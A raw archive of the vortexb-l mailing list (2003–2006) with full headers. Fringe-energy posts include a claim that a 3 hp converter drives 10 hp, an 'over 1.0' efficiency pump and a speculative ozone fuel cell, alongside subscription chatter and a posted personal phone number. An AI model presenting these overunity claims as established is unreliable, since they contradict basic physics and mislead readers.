being manufactured? What is >> the sure deal with that eBay magnet? >> >> >> >> >> >> -- John Fields From vortexb-l-request@eskimo.com Tue Oct 14 08:45:19 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA18906; Tue, 14 Oct 2003 08:42:14 -0700 Resent-Date: Tue, 14 Oct 2003 08:42:14 -0700 From: JRD803@aol.com Date: Tue, 14 Oct 2003 11:41:23 -0400 To: vortexb-l@eskimo.com Subject: Some comments MIME-Version: 1.0 Message-ID: <4F9DC461.2945A06E.00047753@aol.com> X-Mailer: Atlas Mailer 2.0 X-AOL-IP: 208.35.136.2 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3942 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 210 All, Just some comments from a list-lurker, I sort of follow some of what's been discussed regarding Jack Carey's ideas; I have spoken to Jack 3 times this year, the last time being last week. And I do find his technology interesting. Of course, it must be demonstrated, but as he has said, if something works, that is hard to refute. Hopefully we shall see the working device soon :) I have an interest in free energy and gravitation, this leads me to research different things and look at different theories, although these days I don't have as much time for this as I would like. I like to keep an open mind regarding phenomena, and IMHO, obervations of working experiments or devices are what has to guide theoretical development. In science we use theories to help explain the world as we observe it, and, like Maxwell's theory, we try to find links between things that were previously disparate. But as time goes by, sometimes theories need to be enlarged, modified, or scrapped to make room new observations. One thing I recall being said that if a prediction of a theory is proved right, it does not automatically prove that the theory is 'dogma', it shows that the theory works up to that point and correctly predicts things within its framework of assumptions. But there's always something that can come along change our outlook on how things work. That's when the theoretical work becomes fun :) I don't believe it is a good idea to become married to any particular theoretical viewpoint (but that can be hard not to do) as things can change and then the whole framework needs to be re-examined. Mathematics is the language of how the universe operates, whether we know enough math yet to really get a good bite on what is going on in this universe, I can't really say, but it allows us to at least see that it is not disorder. An example of something that doesn't fit into theory neatly is Jim Griggs' hydrosonic pump that has been measured to have an effciency of over 1.0; he has patented it, but does not claim overunity as I recall. But he manufactures it and sells it. Another area ripe for more research. Anyway, I just like to keep an open mind regarding things and am looking forward to seeing what Jack's demo will do. Regards, Jim Dickenson. From vortexb-l-request@eskimo.com Wed Oct 29 12:23:20 2003 Received: (from smartlst@localhost) by mx2.eskimo.com (8.9.1a/8.8.8) id MAA03568; Wed, 29 Oct 2003 12:19:23 -0800 (PST) Resent-Date: Wed, 29 Oct 2003 12:19:23 -0800 (PST) Date: Wed, 29 Oct 2003 12:13:30 -0800 From: nitroburn Subject: Re: you still out there slamming main stream people? To: vortexb-l@eskimo.com Message-id: <000701c39e59$1f4724e0$6400a8c0@NITROBURN> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Priority: 3 X-MSMail-priority: Normal References: <4A6EDF03.6C1D1031.0AC1A3BD@aol.com> Resent-Message-ID: <7TIqXD.A.q3.KDCo_@mx2> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3945 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 211 I have seen some cool things on tape.. Special effects in movies these days rock.. Good thing you could never provide anything really verifiable ----- Original Message ----- From: To: Sent: Wednesday, October 29, 2003 11:31 AM Subject: Re: you still out there slamming main stream people? > I'm in San Diego and have Gene Mallove Editor of Infinite Energy on tape testing and he is lost the 3 hp converter is operating 10 hp of 3 phase under heavy load Ted Loder who is with Seaspower in DC was there to along with a PhD M.E. Friend of Malloves kiss your EE profession ass good bye Boy my no is 810 394 1571 > From vortexb-l-request@eskimo.com Mon Feb 23 20:38:41 2004 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id UAA10610; Mon, 23 Feb 2004 20:36:59 -0800 Resent-Date: Mon, 23 Feb 2004 20:36:59 -0800 Message-ID: <200402232336420896.004B4F2A@mail.chilitech.net> X-Mailer: Calypso Version 3.30.00.00 (4) Date: Mon, 23 Feb 2004 23:36:42 -0500 From: "Mike Johnston" To: H2OPower@topica.com Subject: Harry Braun discussion list (fyi) Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====_10775974021322=_" Resent-Message-ID: <"Jpnsx2.0.ab2.hJjE01"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3968 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 212 --=====_10775974021322=_ Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, Just a not to let you know that the Harry Braun for President campaign= has a discussion group now. For those who may not remember Mr. braun has= been promoting his H2 from seawater via "Windships" concept for a while= now. Whether his campaign has a snowball's chance in hell or not is= immaterial really as I find the idea intriguing and it may make for some= interesting conversation. To join send an email to: harrybraunpresident-subscribe@yahoogroups.com Regards, MJ --=====_10775974021322=_ Content-Type: text/html; charset="us-ascii"
Hi all,
   Just a not to let you know that the Harry Braun for President campaign has a discussion group now. For those who may not remember Mr. braun has been promoting his H2 from seawater via "Windships" concept for a while now.
   Whether his campaign has a snowball's chance in hell or not is immaterial really as I find the idea intriguing and it may  make for some interesting conversation.
Regards,
MJ
--=====_10775974021322=_-- From vortexb-l-request@eskimo.com Wed Jun 2 17:41:22 2004 Received: from ultra5.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra5.eskimo.com (8.12.10/8.12.10) with ESMTP id i530fI9B002601; Wed, 2 Jun 2004 17:41:18 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.12.10/8.12.10/Submit) id i530fHdc002596; Wed, 2 Jun 2004 17:41:17 -0700 Resent-Date: Wed, 2 Jun 2004 17:41:17 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <200406022041080330.007F592C@smtp.chilitech.net> X-Mailer: Calypso Version 3.30.00.00 (4) Date: Wed, 02 Jun 2004 20:41:08 -0400 Reply-To: enki@chilitech.net From: "Mike Johnston" To: H2OPower@topica.com Subject: More Ozone Cell and some Sonoluminescence Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ultra5.eskimo.com id i530fE9B002535 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3969 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 213 Hi, A few weeks ago I posted a thought on the oxidizing power of ozone and postulated that it should be possible to use Ozone to "burn" water. My example was to use a PEM fuel cell with water on the side of the membrane normally occupied by hydrogen and ozone on the air/oxygen side. It would seem that the difference in oxidation potentials (1.23 volts for water and 2.07 volts for ozone) would be sufficient to allow the hydrogen ions/protons to be pulled through the PEM to the ozone side where they would unite with the "extra" oxygen atom in ozone and form water. Several people emailed me to say that ozone is such a powerful oxidizing agent that it would be impossible to construct such a cell as any metal used would be oxidized. I checked into this claim and found a short list of substances and their reactivity to ozone. I think this is the correct link: http://www.ozoneapplications.com/info/ozone_compatible_materials.htm At any rate, it just so happens that Stainless (306 and 316) is unreactive with ozone. This is convenient since the nickel in the stainless is also a catalyst to the hydrogen/oxygen combination reaction. It is true that platinum or gold are better catalysts but this solves the need for a material to function as the electrode metal in our hypothetical ozone cell. The other concern would be to find a PEM material which is also unreactive to ozone. Assuming that such a material exists then an ozone fuel cell would be possible. If you used a direct ozone/hydrogen application then the voltage produced would be 2.07 volts no load and 1.63 volts under load. In the above situation, using water instead of hydrogen as your "fuel" the voltage would be .84 volts no load or .4 volts under load. Ok, that isn't a lot (in the second situation) but you have to consider the fact that you are using straight up water as your fuel and so the sacrifice should be worth the benefit. The second concern was the cost of producing ozone as it takes energy to produce it just as it does hydrogen from water. But this is a whole different process and it is just a matter of which is more economical to produce. Ozone is produced by an electric arc but this involves a current flow and so would be somewhat expensive although I don't think there is a direct correlation between how much current flows in the arc and how much ozone is produced. At least not in the same way that current flow determines the amount of hydrogen produced in an electrolysis cell. Another way to produce ozone is through the use of an "ozonator". This is something like an air capacitor where two metal plates are charged and air is passed between the plates. I am not sure whether this can be an electrostatic field or needs to be alternating but at any rate no current is actually passed in this case and it should be much more economical overall than the arc discharge method. One example of such a system would be the home air ionizers which use the same principle. Such a system produces up to 15% ozone from the air that is passed between it's plates. If such a device was placed outside the air intake of a fuel cell then up to 15% of the oxygen in the air entering the cell could be converted to ozone. I think this would boost the overall voltage of the cell because the voltage produced is based on the oxidation potentials of the reactants involved and so 15% ozone would raise the overall potential difference between the plates but not up to the 2.07 volt value of pure ozone. If I just rather arbitrarily say that 15% ozone would result in a 15% increase in cell voltage then it would be a gain of .1845 volts or go from 1.23 volts to 1.4145 volts and should boost the under load voltage by a similar percentage. Since it does seem feasible then the only question is can it be done economically or does the benefit justify the extra cost? On another front, yesterday two tornados went through part of New Jersey while I was in the state. That got me thinking back to stories I had read about people who were fortunate (or unfortunate) enough to be lying in a ditch when a tornado passed directly over them and who looked up into the funnel and reported seeing bright blue flashes of light or glowing blue balls of light within the funnel. This led me to think of the phenomenon of sonoluminescence (I think that is the right term) where boat propellers are known to create glowing air bubbles within the water. I read a bit about that and some scientists have reproduced the effect and found that temperatures within such bubbles can, very briefly, reach into the millions of degrees. The research has been aimed at finding a way to utilize these temperatures to produce nuclear fusion (sonofusion) within the bubbles. I think that the two phenomena are essentially the same. If you create a small whirlpool in a container of water you see that a sort of "tube" of air develops at the center of the whirlpool as all of the water moves into the sides of the whirlpool funnel. So if the funnel develops in air then all of the air in the center of the structure would also be trying to move to the sides and a sort of "vortex" might develop in the center and in that vortex a plasma might form which would account for the blue flashes or balls. Water seems to be a crucial component in both cases as tornados form in moisture laden air like thunderclouds. I had thought that the effect in bubbles must be caused by the motion of the propeller causing the water to separate in a sort of mini vortex inside which a plasma forms. I know this doesn't account for the specific mechanics of the phenomenon but it does open up a new area of inquiry in a different form Regards, MJ From vortexb-l-request@eskimo.com Tue Jun 7 09:05:40 2005 Received: from ultra5.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra5.eskimo.com (8.12.10/8.12.10) with ESMTP id j57G5GTL013679; Tue, 7 Jun 2005 09:05:17 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.12.10/8.12.10/Submit) id j57G4oNO013433; Tue, 7 Jun 2005 09:04:50 -0700 Resent-Date: Tue, 7 Jun 2005 09:04:50 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=krv7/Pmw21ofXwRWvVlBAXpBTPOE1tMOw5vPctf2jGmpb1IqA3G1m9nri/YrjaJ4pCaCy3+q49rK+G//yOIBDEeHliMDr5DI+w5oS0jLL2dr7sYAMdvpPWYVSbp32qBdDl3eNLSxxfdzzZ4qFWkFidSA9xJoqs8F0HFZ5KapdFI= ; Message-ID: <20050607160442.77787.qmail@web51709.mail.yahoo.com> Date: Tue, 7 Jun 2005 09:04:41 -0700 (PDT) From: Terry Blanton Subject: Is There Anyone Out There? To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-369662423-1118160281=:67227" Content-Transfer-Encoding: 8bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3970 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 214 --0-369662423-1118160281=:67227 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit I just resubscribed to Vort Beta and was testing to see if it works. I guess it should really be called the VortexBS listserver. :-) Terry --------------------------------- Discover Yahoo! Find restaurants, movies, travel & more fun for the weekend. Check it out! --0-369662423-1118160281=:67227 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit
I just resubscribed to Vort Beta and was testing to see if it works.  I guess it should really be called the VortexBS listserver.  :-)
 
Terry

Discover Yahoo!
Find restaurants, movies, travel & more fun for the weekend. Check it out! --0-369662423-1118160281=:67227-- From vortexb-l-request@eskimo.com Tue Jun 7 09:34:44 2005 Received: from ultra5.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra5.eskimo.com (8.12.10/8.12.10) with ESMTP id j57GYLTL027639; Tue, 7 Jun 2005 09:34:22 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.12.10/8.12.10/Submit) id j57GYLbI027634; Tue, 7 Jun 2005 09:34:21 -0700 Resent-Date: Tue, 7 Jun 2005 09:34:21 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <52DBB3BCABE4D411949E00508BE7906A01FBF204@server3.orionwilton.com> From: Jim Dickenson To: "'vortexb-l@eskimo.com'" Subject: RE: Is There Anyone Out There? Date: Tue, 7 Jun 2005 12:33:46 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C56B7E.ACDE5370" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3971 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 215 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C56B7E.ACDE5370 Content-Type: text/plain; charset="iso-8859-1" Received - didn't even know I was still subscribed... Jim D. -----Original Message----- From: Terry Blanton [mailto:terry1094@yahoo.com] Sent: Tuesday, June 07, 2005 12:05 PM To: vortexb-l@eskimo.com Subject: Is There Anyone Out There? I just resubscribed to Vort Beta and was testing to see if it works. I guess it should really be called the VortexBS listserver. :-) Terry _____ Discover Yahoo! Find restaurants, movies, travel & more fun for the weekend. Check it out! ------_=_NextPart_001_01C56B7E.ACDE5370 Content-Type: text/html; charset="iso-8859-1"
Received - didn't even know I was still subscribed...
 
Jim D.
-----Original Message-----
From: Terry Blanton [mailto:terry1094@yahoo.com]
Sent: Tuesday, June 07, 2005 12:05 PM
To: vortexb-l@eskimo.com
Subject: Is There Anyone Out There?

I just resubscribed to Vort Beta and was testing to see if it works.  I guess it should really be called the VortexBS listserver.  :-)
 
Terry

Discover Yahoo!
Find restaurants, movies, travel & more fun for the weekend. Check it out!
------_=_NextPart_001_01C56B7E.ACDE5370-- From vortexb-l-request@eskimo.com Tue Jun 7 11:54:08 2005 Received: from ultra5.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra5.eskimo.com (8.12.10/8.12.10) with ESMTP id j57IrUv8031913; Tue, 7 Jun 2005 11:53:40 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.12.10/8.12.10/Submit) id j57IrTvj031904; Tue, 7 Jun 2005 11:53:29 -0700 Resent-Date: Tue, 7 Jun 2005 11:53:29 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=cSguOaoT8j14ko4miAefeJjmx+2t5uevd6Aqo8iiaWMPYYb3+RsnbT5kK6pe+aEkXlUIE1yiTZ11NwRZzQqBcZwX0e6LbHwGbkdmXRSSseDDrk0nofyF5sBgcvlUVyKLg7irv16alG0VRQ2wm9R6gVrIljabZeXnURebyoKXK90= ; Message-ID: <20050607185322.42678.qmail@web51709.mail.yahoo.com> Date: Tue, 7 Jun 2005 11:53:22 -0700 (PDT) From: Terry Blanton Subject: Lab Whistle-blower Beaten To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-809163654-1118170402=:41226" Content-Transfer-Encoding: 8bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3972 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 216 --0-809163654-1118170402=:41226 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit For those who don't think the "powers" will silence threats: http://edition.cnn.com/2005/US/06/07/whistleblower.beaten.ap/ --------------------------------- Yahoo! Mail Stay connected, organized, and protected. Take the tour --0-809163654-1118170402=:41226 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit
For those who don't think the "powers" will silence threats:
 

Yahoo! Mail
Stay connected, organized, and protected. Take the tour --0-809163654-1118170402=:41226-- From vortexb-l-request@eskimo.com Fri Apr 14 11:00:20 2006 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.13.6/8.13.4) with ESMTP id k3EHxon0030910; Fri, 14 Apr 2006 10:59:50 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.13.6/8.12.10/Submit) id k3EHxcGo030719; Fri, 14 Apr 2006 10:59:38 -0700 Resent-Date: Fri, 14 Apr 2006 10:59:38 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Mime-Version: 1.0 (Apple Message framework v749.3) In-Reply-To: <200604141753.k3EHrBhU026991@ultra5.eskimo.com> References: <200604141753.k3EHrBhU026991@ultra5.eskimo.com> Content-Type: multipart/alternative; boundary=Apple-Mail-94--773350810 Message-Id: <7E7C4A9A-DB91-4CBA-93A1-32B1174AAA71@byu.edu> From: John Robertson Subject: Re: vortexb-digest Digest V2005 #1 Date: Fri, 14 Apr 2006 11:59:33 -0600 To: vortexb-l@eskimo.com X-Mailer: Apple Mail (2.749.3) Resent-Message-ID: <2Z_qH.A.4fH.KM-PEB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3973 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 217 --Apple-Mail-94--773350810 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Some how I was subscribed to this list. How do I get off? John Robertson john_robertson@byu.edu On Apr 14, 2006, at 11:53 AM, vortexb-digest-request@eskimo.com wrote: > > > vortexb-digest Digest Volume 2005 : Issue 1 > > Today's Topics: > RE: Is There Anyone Out There? [ Jim Dickenson > Lab Whistle-blower Beaten [ Terry Blanton > ] > > > > From: Jim Dickenson > Date: June 7, 2005 10:33:46 AM MDT > To: "'vortexb-l@eskimo.com'" > Subject: RE: Is There Anyone Out There? > > > Received - didn't even know I was still subscribed... > > Jim D. > -----Original Message----- > From: Terry Blanton [mailto:terry1094@yahoo.com] > Sent: Tuesday, June 07, 2005 12:05 PM > To: vortexb-l@eskimo.com > Subject: Is There Anyone Out There? > > I just resubscribed to Vort Beta and was testing to see if it > works. I guess it should really be called the VortexBS > listserver. :-) > > Terry > > Discover Yahoo! > Find restaurants, movies, travel & more fun for the weekend. Check > it out! > > From: Terry Blanton > Date: June 7, 2005 12:53:22 PM MDT > To: vortexb-l@eskimo.com > Subject: Lab Whistle-blower Beaten > > > For those who don't think the "powers" will silence threats: > > http://edition.cnn.com/2005/US/06/07/whistleblower.beaten.ap/ > > Yahoo! Mail > Stay connected, organized, and protected. Take the tour --Apple-Mail-94--773350810 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=ISO-8859-1 Some how I was subscribed to = this list. How do I get off?
John Robertson
john_robertson@byu.edu
=
On Apr 14, 2006, at 11:53 AM, vortexb-digest-request@eskimo.com = wrote:



Volume 2005 : Issue 1

Today's = Topics:
=A0 RE: Is There Anyone Out = There?=A0 =A0 =A0 =A0 [ Jim = Dickenson <jdickenson@orionmobi ]
=A0 Lab Whistle-blower Beaten = =A0 =A0 =A0 =A0 =A0 =A0 [ = Terry Blanton <terry1094@yahoo.com> ]



From: Jim Dickenson = <jdickenson@orionmobility.com>
Date: June 7, 2005 10:33:46 AM = MDT
To: "'vortexb-l@eskimo.com'" = <vortexb-l@eskimo.com>
Subject: = RE: Is There Anyone Out There?


Received - didn't even know I was still = subscribed...
=A0
Jim D.
-----Original Message-----
From: = Terry Blanton [mailto:terry1094@yahoo.com]
Sent: Tuesday, = June 07, 2005 12:05 PM
To: = vortexb-l@eskimo.com
Subject: Is There Anyone Out = There?

I just resubscribed to Vort Beta and = was testing to see if it works.=A0 I guess it should really be called = the VortexBS listserver.=A0 :-)
=A0
=
Terry

Discover Yahoo!
Find restaurants, movies, travel & = more fun for the weekend. Check it out!

From: Terry Blanton = <terry1094@yahoo.com>
Date: = June 7, 2005 12:53:22 PM MDT
To: vortexb-l@eskimo.com
Subject: Lab Whistle-blower = Beaten


For those who = don't think the "powers" will silence threats:
=A0
=
=
Yahoo! Mail
Stay connected, organized, and protected. Take the = tour

= --Apple-Mail-94--773350810-- From vortexb-l-request@eskimo.com Fri Apr 14 11:20:49 2006 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.13.6/8.13.4) with ESMTP id k3EIKNOg011458; Fri, 14 Apr 2006 11:20:23 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.13.6/8.12.10/Submit) id k3EIKKbm011412; Fri, 14 Apr 2006 11:20:20 -0700 Resent-Date: Fri, 14 Apr 2006 11:20:20 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <52DBB3BCABE4D411949E00508BE7906A026030B1@server3.orionwilton.com> From: Jim Dickenson To: "'vortexb-l@eskimo.com'" Subject: RE: vortexb-digest Digest V2005 #1 Date: Fri, 14 Apr 2006 14:20:04 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C65FF0.0D4C1EC0" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3974 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 218 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C65FF0.0D4C1EC0 Content-Type: text/plain; charset="iso-8859-1" Hi John, This is the main link: http://www.amasci.com/weird/wvort.html How to unsub: To unsubscribe, send a *blank* message to: vortex-L-request@eskimo.com Put the single word "unsubscribe" in the subject line of the header. No quotes around "unsubscribe," of course. - Jim D -----Original Message----- From: John Robertson [mailto:john_robertson@byu.edu] Sent: Friday, April 14, 2006 02:00 PM To: vortexb-l@eskimo.com Subject: Re: vortexb-digest Digest V2005 #1 Some how I was subscribed to this list. How do I get off? John Robertson john_robertson@byu.edu On Apr 14, 2006, at 11:53 AM, vortexb-digest-request@eskimo.com wrote: vortexb-digest Digest Volume 2005 : Issue 1 Today's Topics: RE: Is There Anyone Out There? [ Jim Dickenson ] From: Jim Dickenson Date: June 7, 2005 10:33:46 AM MDT To: "'vortexb-l@eskimo.com'" Subject: RE: Is There Anyone Out There? Received - didn't even know I was still subscribed... Jim D. -----Original Message----- From: Terry Blanton [mailto:terry1094@yahoo.com] Sent: Tuesday, June 07, 2005 12:05 PM To: vortexb-l@eskimo.com Subject: Is There Anyone Out There? I just resubscribed to Vort Beta and was testing to see if it works. I guess it should really be called the VortexBS listserver. :-) Terry _____ Discover Yahoo! Find restaurants, movies, travel & more fun for the weekend. Check it out! From: Terry Blanton Date: June 7, 2005 12:53:22 PM MDT To: vortexb-l@eskimo.com Subject: Lab Whistle-blower Beaten For those who don't think the "powers" will silence threats: http://edition.cnn.com/2005/US/06/07/whistleblower.beaten.ap/ _____ Yahoo! Mail Stay connected, organized, and protected. Take the tour ------_=_NextPart_001_01C65FF0.0D4C1EC0 Content-Type: text/html; charset="iso-8859-1"
Hi John,
 
 
How to unsub:
To unsubscribe, send a *blank* message to:
      vortex-L-request@eskimo.com
  Put the single word "unsubscribe" in the subject line of the header.  No
  quotes around "unsubscribe," of course.

- Jim D
-----Original Message-----
From: John Robertson [mailto:john_robertson@byu.edu]
Sent: Friday, April 14, 2006 02:00 PM
To: vortexb-l@eskimo.com
Subject: Re: vortexb-digest Digest V2005 #1

Some how I was subscribed to this list. How do I get off?
John Robertson
john_robertson@byu.edu
On Apr 14, 2006, at 11:53 AM, vortexb-digest-request@eskimo.com wrote:



vortexb-digest Digest Volume 2005 : Issue 1

Today's Topics:
  RE: Is There Anyone Out There?        [ Jim Dickenson <jdickenson@orionmobi ]
  Lab Whistle-blower Beaten             [ Terry Blanton <terry1094@yahoo.com> ]



From: Jim Dickenson <jdickenson@orionmobility.com>
Date: June 7, 2005 10:33:46 AM MDT
To: "'vortexb-l@eskimo.com'" <vortexb-l@eskimo.com>
Subject: RE: Is There Anyone Out There?


Received - didn't even know I was still subscribed...
 
Jim D.
-----Original Message-----
From: Terry Blanton [mailto:terry1094@yahoo.com]
Sent: Tuesday, June 07, 2005 12:05 PM
To: vortexb-l@eskimo.com
Subject: Is There Anyone Out There?

I just resubscribed to Vort Beta and was testing to see if it works.  I guess it should really be called the VortexBS listserver.  :-)
 
Terry

Discover Yahoo!
Find restaurants, movies, travel & more fun for the weekend. Check it out!

From: Terry Blanton <terry1094@yahoo.com>
Date: June 7, 2005 12:53:22 PM MDT
To: vortexb-l@eskimo.com
Subject: Lab Whistle-blower Beaten


For those who don't think the "powers" will silence threats:
 

Yahoo! Mail
Stay connected, organized, and protected. Take the tour

------_=_NextPart_001_01C65FF0.0D4C1EC0-- From vortexb-l-request@eskimo.com Fri Apr 14 13:04:38 2006 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.13.6/8.13.4) with ESMTP id k3EK4G5F021151; Fri, 14 Apr 2006 13:04:16 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.13.6/8.12.10/Submit) id k3EK42wm021079; Fri, 14 Apr 2006 13:04:02 -0700 Resent-Date: Fri, 14 Apr 2006 13:04:02 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=2A9DcUrMksn0bft5Y/EILypjAjJNh06ygD1gAdPsH08XmCsC0xoP13RfU51aN/kKpSWe/sWqxg7cvKsMennFQzxlBPwqv0WIwgeOvSu2xw0gwVhibnDO38LpQ9/pRMVBP36fHgeg59ecM7jirOo2oKgZyXfjLPNJDk7RlOi77/s= ; Message-ID: <20060414200358.98521.qmail@web51707.mail.yahoo.com> Date: Fri, 14 Apr 2006 13:03:58 -0700 (PDT) From: Terry Blanton Subject: test To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3975 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 219 does this still work? __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From vortexb-l-request@eskimo.com Fri Apr 14 15:41:54 2006 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.13.6/8.13.4) with ESMTP id k3EMfXfV008778; Fri, 14 Apr 2006 15:41:33 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.13.6/8.12.10/Submit) id k3EMfCZ0008714; Fri, 14 Apr 2006 15:41:12 -0700 Resent-Date: Fri, 14 Apr 2006 15:41:12 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Rick Monteverde" To: Subject: RE: test Date: Fri, 14 Apr 2006 12:40:51 -1000 Message-ID: <000801c66014$80899330$8101a8c0@RicksL2000> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <20060414200358.98521.qmail@web51707.mail.yahoo.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: 